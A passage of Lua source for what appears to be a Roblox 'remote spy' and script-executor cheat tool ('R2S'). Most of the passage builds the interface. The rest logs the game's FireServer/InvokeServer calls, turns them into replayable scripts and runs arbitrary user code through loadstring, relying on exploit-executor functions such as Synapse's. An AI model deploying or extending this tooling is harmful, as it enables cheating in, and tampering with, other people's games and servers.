= UDim2.new(0, 20, 0, 20) Icon_2.ZIndex = 4 Icon_2.Image = "rbxassetid://413369506" RemoteName_2.Name = "RemoteName" RemoteName_2.Parent = SBTN RemoteName_2.BackgroundColor3 = Color3.fromRGB(20, 20, 20) RemoteName_2.BorderSizePixel = 1 RemoteName_2.BorderColor3 = Color3.fromRGB(62, 62, 62) RemoteName_2.Position = UDim2.new(0, 30, 0, 0) RemoteName_2.Size = UDim2.new(0, 140, 0, 20) RemoteName_2.ZIndex = 4 RemoteName_2.Font = Enum.Font.SourceSansBold RemoteName_2.FontSize = Enum.FontSize.Size14 RemoteName_2.Text = "SayMessageRequest" RemoteName_2.TextColor3 = Color3.fromRGB(200, 200, 200) RemoteName_2.TextSize = 11 ScriptLine.Name = "ScriptLine" ScriptLine.Parent = Storage ScriptLine.BackgroundColor3 = Color3.new(1, 1, 1) ScriptLine.BackgroundTransparency = 1 ScriptLine.Size = UDim2.new(1, 0, 0, 17) ScriptLine.ZIndex = 2 Line.Name = "Line" Line.Parent = ScriptLine Line.BackgroundColor3 = Color3.new(0.329412, 0, 0) Line.BackgroundTransparency = 1 Line.BorderSizePixel = 0 Line.Size = UDim2.new(0, 40, 1, 0) Line.ZIndex = 3 Line.Font = Enum.Font.SourceSansBold Line.FontSize = Enum.FontSize.Size18 Line.Text = "" Line.TextColor3 = Color3.new(0.784314, 0.784314, 0.784314) Line.TextSize = 17 SourceText.Name = "SourceText" SourceText.Parent = ScriptLine SourceText.BackgroundColor3 = Color3.new(1, 1, 1) SourceText.BackgroundTransparency = 1 SourceText.Position = UDim2.new(0, 40, 0, 0) SourceText.Size = UDim2.new(1, -40, 1, 0) SourceText.ZIndex = 3 SourceText.Font = Enum.Font.Code SourceText.FontSize = Enum.FontSize.Size18 SourceText.Text = "" SourceText.TextColor3 = Color3.new(1, 1, 1) SourceText.TextSize = 17 SourceText.TextXAlignment = Enum.TextXAlignment.Left Tokens.Name = "Tokens" Tokens.Parent = ScriptLine Tokens.BackgroundColor3 = Color3.new(1, 1, 1) Tokens.BackgroundTransparency = 1 Tokens.Position = UDim2.new(0, 40, 0, 0) Tokens.Size = UDim2.new(1, -40, 1, 0) Tokens.ZIndex = 3 Tokens.Font = Enum.Font.Code Tokens.FontSize = Enum.FontSize.Size18 Tokens.Text = "" Tokens.TextColor3 = Color3.new(0.392157, 0.392157, 0.392157) Tokens.TextSize = 17 Tokens.TextXAlignment = Enum.TextXAlignment.Left Strings.Name = "Strings" Strings.Parent = ScriptLine Strings.BackgroundColor3 = Color3.new(1, 1, 1) Strings.BackgroundTransparency = 1 Strings.Position = UDim2.new(0, 40, 0, 0) Strings.Size = UDim2.new(1, -40, 1, 0) Strings.ZIndex = 5 Strings.Font = Enum.Font.Code Strings.FontSize = Enum.FontSize.Size18 Strings.Text = "" Strings.TextColor3 = Color3.new(1, 0.615686, 0) Strings.TextSize = 17 Strings.TextXAlignment = Enum.TextXAlignment.Left Comments.Name = "Comments" Comments.Parent = ScriptLine Comments.BackgroundColor3 = Color3.new(1, 1, 1) Comments.BackgroundTransparency = 1 Comments.Position = UDim2.new(0, 40, 0, 0) Comments.Size = UDim2.new(1, -40, 1, 0) Comments.ZIndex = 5 Comments.Font = Enum.Font.Code Comments.FontSize = Enum.FontSize.Size18 Comments.Text = "" Comments.TextColor3 = Color3.fromRGB(60, 200, 60) Comments.TextSize = 17 Comments.TextXAlignment = Enum.TextXAlignment.Left RemoteHighlight.Name = "RemoteHighlight" RemoteHighlight.Parent = ScriptLine RemoteHighlight.BackgroundColor3 = Color3.new(1, 1, 1) RemoteHighlight.BackgroundTransparency = 1 RemoteHighlight.Position = UDim2.new(0, 40, 0, 0) RemoteHighlight.Size = UDim2.new(1, -40, 1, 0) RemoteHighlight.ZIndex = 3 RemoteHighlight.Font = Enum.Font.Code RemoteHighlight.FontSize = Enum.FontSize.Size18 RemoteHighlight.Text = "" RemoteHighlight.TextColor3 = Color3.fromRGB(0, 145, 255) RemoteHighlight.TextSize = 17 RemoteHighlight.TextXAlignment = Enum.TextXAlignment.Left Keywords.Name = "Keywords" Keywords.Parent = ScriptLine Keywords.BackgroundColor3 = Color3.new(1, 1, 1) Keywords.BackgroundTransparency = 1 Keywords.Position = UDim2.new(0, 40, 0, 0) Keywords.Size = UDim2.new(1, -40, 1, 0) Keywords.ZIndex = 3 Keywords.Font = Enum.Font.Code Keywords.FontSize = Enum.FontSize.Size18 Keywords.Text = "" Keywords.TextColor3 = Color3.new(0.231373, 1, 0) Keywords.TextSize = 17 Keywords.TextXAlignment = Enum.TextXAlignment.Left Globals.Name = "Globals" Globals.Parent = ScriptLine Globals.BackgroundColor3 = Color3.new(1, 1, 1) Globals.BackgroundTransparency = 1 Globals.Position = UDim2.new(0, 40, 0, 0) Globals.Size = UDim2.new(1, -40, 1, 0) Globals.ZIndex = 3 Globals.Font = Enum.Font.Code Globals.FontSize = Enum.FontSize.Size18 Globals.Text = "" Globals.TextColor3 = Color3.new(1, 0, 0) Globals.TextSize = 17 Globals.TextXAlignment = Enum.TextXAlignment.Left Enabled.Name = "Enabled" Enabled.Parent = SBTN Enabled.BackgroundColor3 = Color3.fromRGB(20, 20, 20) Enabled.BorderSizePixel = 1 Enabled.BorderColor3 = Color3.fromRGB(30, 100, 30) Enabled.Position = UDim2.new(0, 210, 0, 0) Enabled.Size = UDim2.new(1, -210, 1, 0) Enabled.ZIndex = 4 Enabled.Font = Enum.Font.SourceSansBold Enabled.FontSize = Enum.FontSize.Size14 Enabled.Text = "Enabled" Enabled.TextColor3 = Color3.fromRGB(60, 200, 60) Enabled.TextSize = 14 FullScreen.Name = "FullScreen" FullScreen.Parent = Ribbon FullScreen.BackgroundColor3 = Color3.new(1, 0, 0) FullScreen.BorderSizePixel = 0 FullScreen.Position = UDim2.new(1, -90, 0, 0) FullScreen.Size = UDim2.new(0, 40, 0, 20) FullScreen.ZIndex = 3 FullScreen.Font = Enum.Font.SourceSansBold FullScreen.FontSize = Enum.FontSize.Size14 FullScreen.Text = "[~]" FullScreen.TextColor3 = Color3.new(1, 1, 1) FullScreen.TextSize = 14 SetRemotesTab.Name = "SetRemotesTab" SetRemotesTab.Parent = BG SetRemotesTab.Visible = false SetRemotesTab.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) SetRemotesTab.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137) SetRemotesTab.ClipsDescendants = true SetRemotesTab.Position = UDim2.new(0, 270, 1, -50) SetRemotesTab.Size = UDim2.new(1, -280, 0, 40) SetRemotesTab.ZIndex = 2 FilterF.Name = "FilterF" FilterF.Parent = SetRemotesTab FilterF.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) FilterF.BorderColor3 = Color3.new(0.392157, 0.117647, 0.117647) FilterF.Position = UDim2.new(0, 120, 0.5, -10) FilterF.Size = UDim2.new(0, 120, 0, 20) FilterF.ZIndex = 3 FilterF.Font = Enum.Font.SourceSansBold FilterF.FontSize = Enum.FontSize.Size14 FilterF.Text = "FILTER FUNCTIONS" FilterF.TextColor3 = Color3.new(0.784314, 0.235294, 0.235294) FilterF.TextSize = 14 FilterE.Name = "FilterE" FilterE.Parent = SetRemotesTab FilterE.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) FilterE.BorderColor3 = Color3.new(0.392157, 0.117647, 0.117647) FilterE.Position = UDim2.new(0, 10, 0.5, -10) FilterE.Size = UDim2.new(0, 100, 0, 20) FilterE.ZIndex = 3 FilterE.Font = Enum.Font.SourceSansBold FilterE.FontSize = Enum.FontSize.Size14 FilterE.Text = "FILTER EVENTS" FilterE.TextColor3 = Color3.new(0.784314, 0.235294, 0.235294) FilterE.TextSize = 14 Search.Name = "Search" Search.Parent = SetRemotesTab Search.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) Search.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137) Search.Position = UDim2.new(0, 250, 0.5, -10) Search.Selectable = true Search.Size = UDim2.new(1, -260, 0, 20) Search.ZIndex = 3 Search.Font = Enum.Font.SourceSansBold Search.FontSize = Enum.FontSize.Size14 Search.Text = "[SEARCH]" Search.TextColor3 = Color3.new(0.784314, 0.784314, 0.784314) Search.TextSize = 14 lvl6Output.Name = "lvl6Output" lvl6Output.Parent = lvl6Frame lvl6Output.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) lvl6Output.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137) lvl6Output.Position = UDim2.new(0, 0, 1, -110) lvl6Output.Size = UDim2.new(1, 0, 0, 110) lvl6Output.ZIndex = 3 lvl6Output.CanvasSize = UDim2.new(3, 0, 15, 0) lvl6Output.BottomImage = "rbxassetid://148970562" lvl6Output.MidImage = "rbxassetid://148970562" lvl6Output.ScrollBarThickness = 5 lvl6Output.TopImage = "rbxassetid://148970562" lvl6Source.Name = "lvl6Source" lvl6Source.Parent = lvl6Frame lvl6Source.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) lvl6Source.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137) lvl6Source.Position = UDim2.new(0, 0, 0, 30) lvl6Source.Size = UDim2.new(1, 0, 1, -160) lvl6Source.ZIndex = 3 lvl6Source.BottomImage = "rbxassetid://148970562" lvl6Source.CanvasSize = UDim2.new(0, 0, 20, 0) lvl6Source.MidImage = "rbxassetid://148970562" lvl6Source.ScrollBarThickness = 5 lvl6Source.TopImage = "rbxassetid://148970562" Source_.Name = "Source_" Source_.Parent = lvl6Source Source_.BackgroundColor3 = Color3.new(1, 1, 1) Source_.BackgroundTransparency = 1 Source_.Size = UDim2.new(1, 0, 1, 0) Source_.Position = UDim2.new(0, 30, 0, 0) Source_.ZIndex = 4 Source_.ClearTextOnFocus = false Source_.MultiLine = true Source_.Font = Enum.Font.Code Source_.FontSize = Enum.FontSize.Size18 Source_.TextColor3 = Color3.new(0.784314, 0.784314, 0.784314) Source_.TextSize = 17 Source_.Text = "print(\"Welcome to R2S script editor!\")" Source_.TextXAlignment = Enum.TextXAlignment.Left Source_.TextYAlignment = Enum.TextYAlignment.Top Comments_.Name = "Comments_" Comments_.Parent = Source_ Comments_.BackgroundColor3 = Color3.new(1, 1, 1) Comments_.BackgroundTransparency = 1 Comments_.Size = UDim2.new(1, 0, 1, 0) Comments_.ZIndex = 5 Comments_.Font = Enum.Font.Code Comments_.FontSize = Enum.FontSize.Size18 Comments_.Text = "" Comments_.TextColor3 = Color3.new(0.235294, 0.784314, 0.235294) Comments_.TextSize = 17 Comments_.TextXAlignment = Enum.TextXAlignment.Left Comments_.TextYAlignment = Enum.TextYAlignment.Top Globals_.Name = "Globals_" Globals_.Parent = Source_ Globals_.BackgroundColor3 = Color3.new(1, 1, 1) Globals_.BackgroundTransparency = 1 Globals_.Size = UDim2.new(1, 0, 1, 0) Globals_.ZIndex = 5 Globals_.Font = Enum.Font.Code Globals_.FontSize = Enum.FontSize.Size18 Globals_.Text = "" Globals_.TextColor3 = Color3.new(1, 0, 0) Globals_.TextSize = 17 Globals_.TextXAlignment = Enum.TextXAlignment.Left Globals_.TextYAlignment = Enum.TextYAlignment.Top Keywords_.Name = "Keywords_" Keywords_.Parent = Source_ Keywords_.BackgroundColor3 = Color3.new(1, 1, 1) Keywords_.BackgroundTransparency = 1 Keywords_.Size = UDim2.new(1, 0, 1, 0) Keywords_.ZIndex = 5 Keywords_.Font = Enum.Font.Code Keywords_.FontSize = Enum.FontSize.Size18 Keywords_.Text = "" Keywords_.TextColor3 = Color3.new(0.231373, 1, 0) Keywords_.TextSize = 17 Keywords_.TextXAlignment = Enum.TextXAlignment.Left Keywords_.TextYAlignment = Enum.TextYAlignment.Top RemoteHighlight_.Name = "RemoteHighlight_" RemoteHighlight_.Parent = Source_ RemoteHighlight_.BackgroundColor3 = Color3.new(1, 1, 1) RemoteHighlight_.BackgroundTransparency = 1 RemoteHighlight_.Size = UDim2.new(1, 0, 1, 0) RemoteHighlight_.ZIndex = 5 RemoteHighlight_.Font = Enum.Font.Code RemoteHighlight_.FontSize = Enum.FontSize.Size18 RemoteHighlight_.Text = "" RemoteHighlight_.TextColor3 = Color3.new(0, 0.568627, 1) RemoteHighlight_.TextSize = 17 RemoteHighlight_.TextXAlignment = Enum.TextXAlignment.Left RemoteHighlight_.TextYAlignment = Enum.TextYAlignment.Top Strings_.Name = "Strings_" Strings_.Parent = Source_ Strings_.BackgroundColor3 = Color3.new(1, 1, 1) Strings_.BackgroundTransparency = 1 Strings_.Size = UDim2.new(1, 0, 1, 0) Strings_.ZIndex = 5 Strings_.Font = Enum.Font.Code Strings_.FontSize = Enum.FontSize.Size18 Strings_.Text = "" Strings_.TextColor3 = Color3.new(1, 0.615686, 0) Strings_.TextSize = 17 Strings_.TextXAlignment = Enum.TextXAlignment.Left Strings_.TextYAlignment = Enum.TextYAlignment.Top Tokens_.Name = "Tokens_" Tokens_.Parent = Source_ Tokens_.BackgroundColor3 = Color3.new(1, 1, 1) Tokens_.BackgroundTransparency = 1 Tokens_.Size = UDim2.new(1, 0, 1, 0) Tokens_.ZIndex = 5 Tokens_.Font = Enum.Font.Code Tokens_.FontSize = Enum.FontSize.Size18 Tokens_.Text = "" Tokens_.TextColor3 = Color3.new(0.392157, 0.392157, 0.392157) Tokens_.TextSize = 17 Tokens_.TextXAlignment = Enum.TextXAlignment.Left Tokens_.TextYAlignment = Enum.TextYAlignment.Top ExecuteScript.Name = "ExecuteScript" ExecuteScript.Parent = lvl6Frame ExecuteScript.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) ExecuteScript.BorderColor3 = Color3.new(0.117647, 0.392157, 0.117647) ExecuteScript.Size = UDim2.new(1, -700, 0, 20) ExecuteScript.ZIndex = 3 ExecuteScript.Font = Enum.Font.SourceSansBold ExecuteScript.FontSize = Enum.FontSize.Size14 ExecuteScript.Text = "EXECUTE" ExecuteScript.TextColor3 = Color3.new(0.235294, 0.784314, 0.235294) ExecuteScript.TextSize = 14 lvl6.Name = "lvl6" lvl6.Parent = ButtonsFrame lvl6.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) lvl6.BorderColor3 = Color3.new(0.384314, 0.384314, 0.384314) lvl6.Position = UDim2.new(0, 940, 0.5, -10) lvl6.Size = UDim2.new(0, 100, 0, 20) lvl6.ZIndex = 3 lvl6.Font = Enum.Font.SourceSansBold lvl6.FontSize = Enum.FontSize.Size14 lvl6.Text = "LVL6 " lvl6.TextColor3 = Color3.new(0.784314, 0.784314, 0.784314) lvl6.TextSize = 14 lvl6Frame.Name = "lvl6Frame" lvl6Frame.Parent = BG lvl6Frame.BackgroundColor3 = Color3.new(1, 1, 1) lvl6Frame.BackgroundTransparency = 1 lvl6Frame.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137) lvl6Frame.Position = UDim2.new(0, 270, 0, 80) lvl6Frame.Size = UDim2.new(1, -280, 1, -90) lvl6Frame.ZIndex = 2 lvl6Frame.Visible = false Resize.Name = "Resize" Resize.Parent = lvl6Frame Resize.BackgroundColor3 = Color3.new(0.392157, 0.392157, 0.392157) Resize.BorderSizePixel = 0 Resize.Draggable = true Resize.Position = UDim2.new(0.5, -50, 1, -130) Resize.Size = UDim2.new(0, 100, 0, 10) Resize.ZIndex = 3 Resize.Font = Enum.Font.SourceSans Resize.FontSize = Enum.FontSize.Size14 Resize.Text = "" Resize.TextSize = 14 ClearScript.Name = "ClearScript" ClearScript.Parent = lvl6Frame ClearScript.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) ClearScript.BorderColor3 = Color3.new(0.392157, 0.117647, 0.117647) ClearScript.Position = UDim2.new(1, -280, 0, 0) ClearScript.Size = UDim2.new(0, 280, 0, 20) ClearScript.ZIndex = 3 ClearScript.Font = Enum.Font.SourceSansBold ClearScript.FontSize = Enum.FontSize.Size14 ClearScript.Text = "CLEAR" ClearScript.TextColor3 = Color3.new(0.784314, 0.235294, 0.235294) ClearScript.TextSize = 14 ClearOutput.Name = "ClearOutput" ClearOutput.Parent = lvl6Frame ClearOutput.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) ClearOutput.BorderColor3 = Color3.new(0.392157, 0.117647, 0.117647) ClearOutput.Position = UDim2.new(1, -680, 0, 0) ClearOutput.Size = UDim2.new(0, 390, 0, 20) ClearOutput.ZIndex = 3 ClearOutput.Font = Enum.Font.SourceSansBold ClearOutput.FontSize = Enum.FontSize.Size14 ClearOutput.Text = "CLEAR OUTPUT" ClearOutput.TextColor3 = Color3.new(0.784314, 0.235294, 0.235294) ClearOutput.TextSize = 14 Label.Name = "Label" Label.Parent = Storage Label.BackgroundColor3 = Color3.new(1, 1, 1) Label.BackgroundTransparency = 1 Label.Size = UDim2.new(1, 0, 0, 17) Label.ZIndex = 4 Label.Font = Enum.Font.Code Label.FontSize = Enum.FontSize.Size14 Label.TextColor3 = Color3.new(1, 1, 1) Label.TextSize = 14 Label.TextXAlignment = Enum.TextXAlignment.Left Lines.Name = "Lines" Lines.Parent = lvl6Source Lines.BackgroundColor3 = Color3.new(1, 1, 1) Lines.BackgroundTransparency = 1 Lines.Size = UDim2.new(0, 30, 1, 0) Lines.ZIndex = 4 Lines.Font = Enum.Font.Code Lines.FontSize = Enum.FontSize.Size18 Lines.Text = "1" Lines.TextColor3 = Color3.new(1, 1, 1) Lines.TextSize = 17 Lines.TextYAlignment = Enum.TextYAlignment.Top LoadSource.Name = "LoadSource" LoadSource.Parent = ButtonsFrame LoadSource.BackgroundColor3 = Color3.new(0.0784314, 0.0784314, 0.0784314) LoadSource.BorderColor3 = Color3.new(0.384314, 0.384314, 0.384314) LoadSource.Position = UDim2.new(0, 1050, 0.5, -10) LoadSource.Size = UDim2.new(0, 100, 0, 20) LoadSource.ZIndex = 3 LoadSource.Font = Enum.Font.SourceSansBold LoadSource.FontSize = Enum.FontSize.Size14 LoadSource.Text = "LOAD" LoadSource.TextColor3 = Color3.new(0.784314, 0.784314, 0.784314) LoadSource.TextSize = 14 -- FrontEnd-Backend // UI Functions local HasSpecial = function(string) return (string:match("%c") or string:match("%s") or string:match("%p")) ~= nil end local GetPath = function(Instance) local Obj = Instance local string = {} local temp = {} local error = false while Obj ~= game do if Obj == nil then error = true break end table.insert(temp, Obj.Parent == game and Obj.ClassName or tostring(Obj)) Obj = Obj.Parent end table.insert(string, "game:GetService(\"" .. temp[#temp] .. "\")") for i = #temp - 1, 1, -1 do table.insert(string, HasSpecial(temp[i]) and "[\"" .. temp[i] .. "\"]" or "." .. temp[i]) end return (error and "nil -- Path contained an invalid instance" or table.concat(string, "")) end local GetType = function(Instance) local Types = { EnumItem = function() return "Enum." .. tostring(Instance.EnumType) .. "." .. tostring(Instance.Name) end, Instance = function() return GetPath(Instance) end, CFrame = function() return "CFrame.new(" .. tostring(Instance) .. ")" end, Vector3 = function() return "Vector3.new(" .. tostring(Instance) .. ")" end, BrickColor = function() return "BrickColor.new(\"" .. tostring(Instance) .. "\")" end, Color3 = function() return "Color3.new(" .. tostring(Instance) .. ")" end, string = function() local S = tostring(Instance) return "\"" .. (encrypt_string and S:gsub(".", function(c) return "\\" .. c:byte() end) or S) .. "\"" end, Ray = function() return "Ray.new(Vector3.new(" .. tostring(Instance.Origin) .. "), Vector3.new(" .. tostring(Instance.Direction) .. "))" end } return Types[typeof(Instance)] ~= nil and Types[typeof(Instance)]() or tostring(Instance) end local size_frame = function(frame, UDim) frame:TweenSize(UDim, "Out", "Quint", 0.3) end local pos_frame = function(frame, UDim) frame:TweenPosition(UDim, "Out", "Quint", 0.3) end local size_pos_frame = function(frame, UDim, UDim2) frame:TweenSizeAndPosition(UDim, UDim2, "Out", "Quint", 0.3) end local resize_onchange = function(type) if type == "Position" then Resize.Position = UDim2.new(0.5, -50, 1, Resize.Position.Y.Offset) lvl6Source.Size = UDim2.new(1, 0, 1, Resize.Position.Y.Offset - 30) lvl6Output.Position = UDim2.new(0, 0, 1, Resize.Position.Y.Offset + 20) lvl6Output.Size = UDim2.new(1, 0, 0, 110 + (-130 - Resize.Position.Y.Offset)) if Resize.Position.Y.Offset <= -420 then Resize.Position = UDim2.new(0.5, -50, 1, -420) elseif Resize.Position.Y.Offset >= -40 then Resize.Position = UDim2.new(0.5, -50, 1, -40) end end end local clear_lvl6 = function() Source_.Text = "" end local onchange_lvl6source = function(type) if type == "Text" then Source_.Comments_.Text = Comments(Source_.Text) end end local hide = function() size_frame(BG, UDim2.new(0, 300, 0, 20)) pos_frame(Title, UDim2.new(0, 0, 0, 0)) pos_frame(Remotes, UDim2.new(0, 10, 0, 100)) pos_frame(Source, UDim2.new(0, 270, 0, 100)) BG.Draggable = true SetRemotes.Visible = false SetRemotesTab.Visible = false lvl6Frame.Visible = false Source.Visible = true return "[]" end local show = function() size_frame(BG, UDim2.new(1, -300, 1, -200)) pos_frame(BG, UDim2.new(0.1, 0, 0.1, 0)) pos_frame(Title, UDim2.new(0.5, -100, 0, 0)) pos_frame(Remotes, UDim2.new(0, 10, 0, 80)) pos_frame(Source, UDim2.new(0, 270, 0, 80)) BG.Draggable = false return "_" end local onclick_lvl6 = function() lvl6Frame.Visible = true SetRemotes.Visible = false SetRemotesTab.Visible = false Source.Visible = false end local onclick_hide = function() Hide.Text = Hide.Text == "_" and hide() or show() end local onclick_settings = function() Source.Visible = not Source.Visible SetRemotes.Visible = not Source.Visible SetRemotesTab.Visible = not Source.Visible lvl6Frame.Visible = false end local onclick_remotespy = function() spy_enabled = not spy_enabled EnableSpy.TextColor3 = EnableSpy.TextColor3 == Color3.fromRGB(60, 200, 60) and Color3.fromRGB(200, 60, 60) or Color3.fromRGB(60, 200, 60) EnableSpy.BorderColor3 = EnableSpy.TextColor3 == Color3.fromRGB(200, 60, 60) and Color3.fromRGB(100, 30, 30) or Color3.fromRGB(30, 100, 30) end local onclick_cryptstring = function() encrypt_string = not encrypt_string CryptStrings.TextColor3 = CryptStrings.TextColor3 == Color3.fromRGB(60, 200, 60) and Color3.fromRGB(200, 60, 60) or Color3.fromRGB(60, 200, 60) CryptStrings.BorderColor3 = CryptStrings.TextColor3 == Color3.fromRGB(200, 60, 60) and Color3.fromRGB(100, 30, 30) or Color3.fromRGB(30, 100, 30) end local clear_logs = function() Remotes:ClearAllChildren() remotes_fired = 0 Total.Text = "0" end local filter_events = function() local n = 0 for i, v in pairs(SetRemotes:GetChildren()) do v.Visible = not (FilterE.TextColor3 == Color3.fromRGB(60, 200, 60) and v.Icon.Image == "rbxassetid://413369623") if v.Visible == true then n = n + 1 v.Position = UDim2.new(0, 10, 0, -20 + n * 30) else v.Position = UDim2.new(0, 10, 0, -20 + i * 30) end end end local filter_functions = function() local n = 0 for i, v in pairs(SetRemotes:GetChildren()) do v.Visible = not (FilterF.TextColor3 == Color3.fromRGB(60, 200, 60) and v.Icon.Image == "rbxassetid://413369506") if v.Visible == true then n = n + 1 v.Position = UDim2.new(0, 10, 0, -20 + n * 30) else v.Position = UDim2.new(0, 10, 0, -20 + i * 30) end end end local onclick_fevents = function() FilterE.TextColor3 = FilterE.TextColor3 == Color3.fromRGB(60, 200, 60) and Color3.fromRGB(200, 60, 60) or Color3.fromRGB(60, 200, 60) FilterE.BorderColor3 = FilterE.TextColor3 == Color3.fromRGB(200, 60, 60) and Color3.fromRGB(100, 30, 30) or Color3.fromRGB(30, 100, 30) filter_events() end local onclick_ffunctions = function() FilterF.TextColor3 = FilterF.TextColor3 == Color3.fromRGB(60, 200, 60) and Color3.fromRGB(200, 60, 60) or Color3.fromRGB(60, 200, 60) FilterF.BorderColor3 = FilterF.TextColor3 == Color3.fromRGB(200, 60, 60) and Color3.fromRGB(100, 30, 30) or Color3.fromRGB(30, 100, 30) filter_functions() end local Highlight = function(string, keywords) local K = {} local S = string local Token = { ["="] = true, ["."] = true, [","] = true, ["("] = true, [")"] = true, ["["] = true, ["]"] = true, ["{"] = true, ["}"] = true, [":"] = true, ["*"] = true, ["/"] = true, ["+"] = true, ["-"] = true, ["%"] = true, [";"] = true, ["~"] = true } for i, v in pairs(keywords) do K[v] = true end S = S:gsub(".", function(c) if Token[c] ~= nil then return "\32" else return c end end) S = S:gsub("%S+", function(c) if K[c] ~= nil then return c else return (" "):rep(#c) end end) return S end local hTokens = function(string) local Token = { ["="] = true, ["."] = true, [","] = true, ["("] = true, [")"] = true, ["["] = true, ["]"] = true, ["{"] = true, ["}"] = true, [":"] = true, ["*"] = true, ["/"] = true, ["+"] = true, ["-"] = true, ["%"] = true, [";"] = true, ["~"] = true } local A = "" string:gsub(".", function(c) if Token[c] ~= nil then A = A .. c elseif c == "\n" then A = A .. "\n" elseif c == "\t" then A = A .. "\t" else A = A .. "\32" end end) return A end local strings = function(string) local highlight = "" local quote = false string:gsub(".", function(c) if quote == false and c == "\"" then quote = true elseif quote == true and c == "\"" then quote = false end if quote == false and c == "\"" then highlight = highlight .. "\"" elseif c == "\n" then highlight = highlight .. "\n" elseif c == "\t" then highlight = highlight .. "\t" elseif quote == true then highlight = highlight .. c elseif quote == false then highlight = highlight .. "\32" end end) return highlight end local comments = function(string) local ret = "" string:gsub("[^\r\n]+", function(c) local comm = false local i = 0 c:gsub(".", function(n) i = i + 1 if c:sub(i, i + 1) == "--" then comm = true end if comm == true then ret = ret .. n else ret = ret .. "\32" end end) ret = ret end) return ret end local copy_source = function() local script = "" local copy for i, v in pairs(Source:GetChildren()) do script = script .. v.SourceText.Text .. "\n" end if Clipboard ~= nil then copy = Clipboard.set elseif Synapse ~= nil then copy = function(str) Synapse:Copy(str) end elseif setclipboard ~= nil then copy = setclipboard end copy(script) end local onclick_fullscreen = function() BG.Draggable = false return BG.Size == UDim2.new(1, 0, 1, 40) and size_pos_frame(BG, UDim2.new(1, -300, 1, -200), UDim2.new(0.5, -700, 0.5, -400)) or size_pos_frame(BG, UDim2.new(1, 0, 1, 40), UDim2.new(0, 0, 0, -40)) end local filter_remotes = function(type) local n = 0 if type == "Text" then for i, v in pairs(SetRemotes:GetChildren()) do if v.Name:lower():match(Search.Text:lower()) and string ~= "" then v.Visible = true n = n + 1 else v.Visible = false end if v.Visible == true then v.Position = UDim2.new(0, 10, 0, -20 + n * 30) else v.Position = UDim2.new(0, 10, 0, -20 + i * 30) end end end end local fix = function(string) if string == "/e fix" then show() wait(0.3) pos_frame(BG, UDim2.new(0.1, 0, 0.1, 0)) end end local highlight_source = function(type) if type == "Text" then Source_.Text = Source_.Text:gsub("\13", "") Source_.Text = Source_.Text:gsub("\t", " ") local s = Source_.Text Source_.Keywords_.Text = Highlight(s, lua_keywords) Source_.Globals_.Text = Highlight(s, global_env) Source_.RemoteHighlight_.Text = Highlight(s, {"FireServer", "fireServer", "InvokeServer", "invokeServer"}) Source_.Strings_.Text = strings(s) Source_.Tokens_.Text = hTokens(s) local lin = 1 s:gsub("\n", function() lin = lin + 1 end) Lines.Text = "" for i = 1, lin do Lines.Text = Lines.Text .. i .. "\n" end end end highlight_source("Text") local format_warn_time = function() local d = os.date("*t") local tick = tostring(tick()) return d.hour .. ":" .. (d.min < 10 and "0" .. d.min or d.min) .. ":" .. (d.sec < 10 and "0" .. d.sec or d.sec) .. "." .. tick:sub(-3) end local log_output = function(string, type, color) local out = Label:Clone() out.Text = (type == true and string:gsub("\t", " ") or format_warn_time() .. " - " .. string:gsub("\t", " ")) out.TextColor3 = (color == nil and Color3.new(1, 1, 1) or color) out.Parent = lvl6Output out.Position = UDim2.new(0, 0, 0, -17 + #lvl6Output:GetChildren() * 17) end local load_source = function() local script = "" for i, v in pairs(Source:GetChildren()) do script = script .. v.SourceText.Text .. "\n" end Source_.Text = (script == "" and (function() log_output("You haven't logged any remotes yet...", true) return "" end)() or script) lvl6Frame.Visible = true Source.Visible = false SetRemotes.Visible = false SetRemotesTab.Visible = false end local output_format = function(...) local string = "" for i, v in pairs{...} do string = string .. tostring(v) .. " " end return string end local execute_lvl6 = function() local env = { print = function(...) output_format(...):gsub("[^\r\n]+", function(line) log_output(line, false, Color3.new(1, 1, 1)) end) end, warn = function(...) output_format(...):gsub("[^\r\n]+", function(line) log_output(line, false, Color3.fromRGB(255, 155, 0)) end) end } local func = loadstring(Source_.Text) assert(not (type(func) == "nil" or type(func) == "string"), "Syntax error . . . Check script!") spawn(setfenv(func, setmetatable(env, {__index = getfenv()}))) end local clear_output = function() lvl6Output:ClearAllChildren() end local context_error = function(error, trace) error:gsub("[^\r\n]+", function(line) log_output(line, false, Color3.new(1, 0, 0)) end) trace:gsub("[^\r\n]+", function(line) log_output(line, true, Color3.fromRGB(0, 100, 255)) end) end -- FrontEnd-Connections // UI Events LoadSource.MouseButton1Down:Connect(load_source) ClearOutput.MouseButton1Down:Connect(clear_output) ExecuteScript.MouseButton1Down:Connect(execute_lvl6) ClearScript.MouseButton1Down:Connect(clear_lvl6) Source_.Changed:Connect(highlight_source) Hide.MouseButton1Down:Connect(onclick_hide) lvl6Source.Changed:Connect(onchange_lvl6source) Resize.Changed:Connect(resize_onchange) lvl6.MouseButton1Down:Connect(onclick_lvl6) Settings.MouseButton1Down:Connect(onclick_settings) ClearList.MouseButton1Down:Connect(clear_logs) EnableSpy.MouseButton1Down:Connect(onclick_remotespy) ToClipboard.MouseButton1Down:Connect(copy_source) CryptStrings.MouseButton1Down:Connect(onclick_cryptstring) FullScreen.MouseButton1Down:Connect(onclick_fullscreen) FilterE.MouseButton1Down:Connect(onclick_fevents) FilterF.MouseButton1Down:Connect(onclick_ffunctions) Search.Changed:Connect(filter_remotes) game:GetService("Players").LocalPlayer.Chatted:Connect(fix) game:GetService("ScriptContext").Error:Connect(context_error) -- Recursive Remotefill // UI-Backend Table_TS = function(T) local M = {} for i, v in pairs(T) do local I = 